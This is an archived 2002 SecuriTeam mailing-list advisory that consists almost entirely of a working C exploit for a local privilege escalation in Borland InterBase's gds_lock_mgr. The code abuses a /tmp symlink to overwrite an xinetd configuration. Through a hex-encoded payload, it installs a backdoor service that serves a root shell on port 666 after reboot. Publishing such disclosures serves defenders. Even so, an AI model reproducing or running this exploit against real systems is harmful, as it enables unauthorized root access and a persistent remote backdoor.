

# [EXPL] Local Root Exploit Found in gds\_lock\_mgr

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-09/0101.html>

---

*From:* [support@securiteam.com](mailto:support@securiteam.com)

*Date:* 09/26/02

From: [support@securiteam.com](mailto:support@securiteam.com)

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: Thu, 26 Sep 2002 12:07:09 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> – Know that you're safe.

-----

Local Root Exploit Found in gds\_lock\_mgr

---

## SUMMARY

A local security vulnerability in Borland's InterBase server allows users to gain elevated privileges.

## DETAILS

Exploit:

// gds\_lock\_mgr easy local root compromise

// All cobalt Linux affected, and certain mandrake installations.

// Wouter ter Maat aka grazer – <http://www.i-security.nl>

```
#include <stdio.h>
```

```
#include <string.h>
```

```
#include <sys/types.h>
```

```
#include <sys/stat.h>
```

```
#include <sys/utsname.h>
```

```
#define BDPATH "/etc/xinetd.d/xinetdbd"
```

```
#define GDSBIN "/opt/interbase/bin/gds_lock_mgr"
```

```
int main() {
```

## Securiteam: [EXPL] Local Root Exploit Found in gds\_lock\_mgr

```
struct utsname buf;
char path[24], Inc[34];

FILE *fd;

/* check for a rootshell on port 666 after the machine has rebooted.
 * exploit written to work on a raq550 using xinetd
 */

char *hexbd = "\x73\x65\x72\x76\x69\x63\x65\x20\x78\x69\x6e\x65\x74\x64"
              "\x62\x64\n\x7b\n\x64\x69\x73\x61\x62\x6c\x65\x20\x3d\x20"
              "\x6e\x6f\n\x70\x72\x6f\x74\x6f\x63\x6f\x6c\x20\x3d\x20\x36"
              "\x36\x36\n\x73\x6f\x63\x6b\x65\x74\x5f\x74\x79\x70\x65\x20"
              "\x3d\x20\x73\x74\x72\x65\x61\x6d\n\x77\x61\x69\x74\x20\x3d"
              "\x20\x6e\x6f\n\x75\x73\x65\x72\x20\x3d\x20\x72\x6f\x6f\x74"
              "\n\x73\x65\x72\x76\x65\x72\x20\x3d\x20\x2f\x62\x69\x6e\x2f"
              "\x73\x68\n\x73\x65\x72\x76\x65\x72\x5f\x61\x72\x67\x73\x20"
              "\x3d\x20\x2d\x69\n\x7d\n";

fprintf(stdout, "*** gds_lock_mgr local root exploit – grazer ***\n");

uname(&buf);
setenv("INTERBASE", "/tmp", 1);
sprintf(path, "%s", "/tmp/isc_init1.");
strcat(path, buf.nodename);

chdir("/tmp");
umask(000);

sprintf(Inc, "ln %s -s %s", BDPATH, path);
system(Inc);

if(fd=fopen(GDSBIN, "r")) {
    system(GDSBIN); close(fd); }
else {
    fprintf(stderr, "%s not found...\n", GDSBIN);
    exit(0); }

if(fd=fopen(BDPATH, "w")) {
    fprintf(stderr, "exploit succesfull...\n");
    fprintf(fd, "%s", hexbd); close(fd);}
else {
    fprintf(stderr, "exploit failed...\n");
    exit(0); }

}
```

### ADDITIONAL INFORMATION

The information has been provided by <<mailto:grazer@digit-labs.org>>  
grazer.

Securiteam: [EXPL] Local Root Exploit Found in gds\_lock\_mgr

=====  
This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

[list-unsubscribe@securiteam.com](mailto:list-unsubscribe@securiteam.com)

In order to subscribe to the mailing list, simply forward this email to: [list-subscribe@securiteam.com](mailto:list-subscribe@securiteam.com)

=====  
=====  
DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

---

- **Previous message:** [support@securiteam.com](mailto:support@securiteam.com): "[TOOL] ZyXel Telnet Service Password Brute Forcer"
- **Messages sorted by:** [\[ date \]](#) [\[ thread \]](#) [\[ subject \]](#) [\[ author \]](#) [\[ attachment \]](#)